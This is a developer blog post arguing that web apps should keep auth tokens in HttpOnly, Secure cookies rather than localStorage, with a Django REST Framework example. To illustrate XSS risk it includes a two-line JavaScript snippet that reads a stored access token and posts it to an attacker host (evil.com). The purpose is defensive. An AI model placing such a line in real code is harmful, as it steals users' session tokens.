Stop Using JWTs for Web Sessions
Why storing JWTs in localStorage is a security risk, and how to implement HttpOnly cookies in Django REST Framework.
There is a massive misconception in the web development community that Single Page Applications (React, Vue, Next.js) must use JSON Web Tokens (JWTs) stored in localStorage for authentication.
I'm here to tell you that for 95% of standard web applications, good old-fashioned HTTP-only, secure cookies are significantly better.
The Problem with LocalStorage JWTs
When you store a token in localStorage, any JavaScript running on the page can access it.
// Any malicious third-party script can do this:
const token = localStorage.getItem('access_token');
fetch('https://evil.com/steal', { method: 'POST', body: token });
If your application suffers from a Cross-Site Scripting (XSS) vulnerability, your users' accounts are immediately compromised.
Furthermore, JWTs are stateless. You cannot easily invalidate a JWT before it expires. If a user changes their password, or you detect suspicious activity, the token remains valid until its expiration time.
The Solution: HTTP-Only Cookies
Instead of sending the JWT in the response body for the frontend to manage, the backend should set it in a cookie with the HttpOnly and Secure flags.
Django Implementation
from django.http import JsonResponse
from rest_framework_simplejwt.tokens import RefreshToken
def login_view(request):
user = authenticate(request, username=username, password=password)
if user is not None:
refresh = RefreshToken.for_user(user)
response = JsonResponse({'message': 'Login successful'})
# Set the cookie
response.set_cookie(
key='access_token',
value=str(refresh.access_token),
httponly=True, # JavaScript cannot read this!
secure=True, # Only send over HTTPS
samesite='Lax' # Prevent CSRF
)
return response
How the Frontend Handles It
The frontend doesn't need to do anything. When the browser makes a request to your API, it will automatically include the cookie, provided the API is on the same domain (or subdomain) as the frontend.
When SHOULD you use JWTs?
JWTs are incredible pieces of technology. They just aren't meant for standard web sessions. You should use JWTs when:
- Server-to-Server Communication: Two microservices communicating with each other.
- OAuth2 / OIDC: Identity providers passing claims to a client.
- Stateless API Keys: Allowing third-party developers to access your API without hitting a database table on every request.
Keep it simple. Stick to sessions or HTTP-only cookies for web apps, and sleep better at night.